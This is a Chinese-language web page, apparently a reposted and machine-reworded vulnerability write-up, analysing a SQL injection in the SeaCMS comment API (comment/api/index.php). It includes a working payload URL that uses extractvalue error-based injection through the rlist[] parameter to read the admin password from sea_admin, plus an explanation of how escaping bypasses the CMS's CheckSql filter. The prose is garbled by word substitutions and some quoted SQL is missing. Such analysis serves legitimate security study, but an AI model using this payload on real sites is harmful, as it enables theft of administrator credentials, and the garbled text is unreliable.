首页 » PHP教程 » phpsqlclass技巧_实用技能Seacms 87版本SQL注入分析

phpsqlclass技巧_实用技能Seacms 87版本SQL注入分析

访客 2024-11-24 0

扫一扫用手机浏览

文章目录 [+]

0x01环境

Web:phpstudy and MAMP

phpsqlclass技巧_实用技能Seacms 87版本SQL注入分析

System:Windows 7 X64 and MacOSBrowser:Firefox Quantum and ChromeMySQL:5.5php:5.4

phpsqlclass技巧_实用技能Seacms 87版本SQL注入分析
(图片来自网络侵删)

0x02漏洞详情

漏洞复现

payload:

http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

漏洞剖析

之前在MySQL 5.6、5.7上面复现都不堪利,由于这两个版本用extractvalue( )、updatexml( )报错注入不堪利,后来换了系统Linux和Windows还有macOS来测试也是一样,和PHP、Apache的版本没有影响,还是MySQL的版本问题,以是大家测试的时候把稳一下版本。

漏洞文件是在:comment/api/index.php

<?phpsession_start();require_once("../../include/common.php");$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;$page = (isset($page) && is_numeric($page)) ? $page : 1;$type = (isset($type) && is_numeric($type)) ? $type : 1;$pCount = 0;$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";//缓存第一页的评论if($page<2){ if(file_exists($jsoncachefile)) { $json=LoadFile($jsoncachefile); die($json); }}$h = ReadData($id,$page);$rlist = array();if($page<2){ createTextFile($h,$jsoncachefile);}die($h); function ReadData($id,$page){ global $type,$pCount,$rlist; $ret = array("","",$page,0,10,$type,$id); if($id>0) { $ret[0] = Readmlist($id,$page,$ret[4]); $ret[3] = $pCount; $x = implode(',',$rlist); if(!empty($x)) { $ret[1] = Readrlist($x,1,10000); } } $readData = FormatJson($ret); return $readData;}function Readmlist($id,$page,$size){ global $dsql,$type,$pCount,$rlist; $ml=array(); if($id>0) { $sqlCount = "SELECT count() as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC"; $rs = $dsql ->GetOne($sqlCount); $pCount = ceil($rs['dd']/$size); $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)$size.",$size "; $dsql->setQuery($sql); $dsql->Execute('commentmlist'); while($row=$dsql->GetArray('commentmlist')) { $row['reply'].=ReadReplyID($id,$row['reply'],$rlist); $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}"; } } $readmlist=join($ml,","); return $readmlist;}function Readrlist($ids,$page,$size){ global $dsql,$type; $rl=array(); $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC"; $dsql->setQuery($sql); $dsql->Execute('commentrlist'); while($row=$dsql->GetArray('commentrlist')) { $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}"; } $readrlist=join($rl,","); return $readrlist;}

传入$rlist的值为我们布局的SQL语句:

@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

通过ReadData函数,implode处理后传入Readrlist函数。

可以看到实行的SQL语句是:

它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测。

文件在include/sql.class.php的CheckSql函数

//完全的SQL检讨 while (true) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === false) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (true) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === false) { break; } elseif ($pos2 == false || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会在这里检测到:

后面$clean便是要送去检测的函数,通过一番处理后得到的值为:

后面返回来实行的SQL语句还是原样没动

以上基本剖析就完成了。

终极实行的语句:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC

还有一些问题便是布局语句的问题。

刚开始传入的%27后面怎么变成了转义后的单引号?

require_once("../../include/common.php");就包含了这个文件,里面有一个_RunMagicQuotes函数,如果PHP配置没有开启get_magic_quotes_gpc就会用到这个函数,这个函数是把值经由addslashes函数的处理。
此函数的浸染是为所有的 ' (单引号), \" (双引号), \ (反斜线) and 空字符和以会自动转为含有反斜线的转义字符。

所往后面的SQL语句就会加上转义符号,然后经由CheckSql函数的时候就绕过了对报错语句的检测。

function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar;}

为什么要加上``两个反引号和@?

因in在MySQL里面用法是:

value1必须是一个值,整数型或者文本型都可以,如果用单引号的话就会变成三个转义\'\'\'

在MySQL上面是作为一个转义符号来利用,一样平常为了不让和系统的变量冲突以是利用,一样平常在数据库名、表名、字段名利用,以是这里用@来使这个成为一个变量类型。

后记

在6.53的版本中include/common.php中的44-47行吸收到变量:

foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);}

但是在75行这里又重新赋值了:

require_once(sea_DATA."/config.cache.inc.php");

以上是本日的全部内容,大家学会了吗?

标签:

相关文章

介绍白点控制之路,从原理到方法

白点,作为生活中常见的现象,无处不在。对于如何控制白点,许多人却感到困惑。本文将从原理出发,探讨白点的控制方法,并结合实际案例,为...

PHP教程 2025-01-03 阅读1 评论0

介绍直播王者,如何开启你的电竞直播之旅

随着电竞产业的蓬勃发展,越来越多的年轻人投身于电竞直播行业。王者荣耀作为一款备受欢迎的MOBA手游,吸引了大量玩家和观众。如何开启...

PHP教程 2025-01-03 阅读1 评论0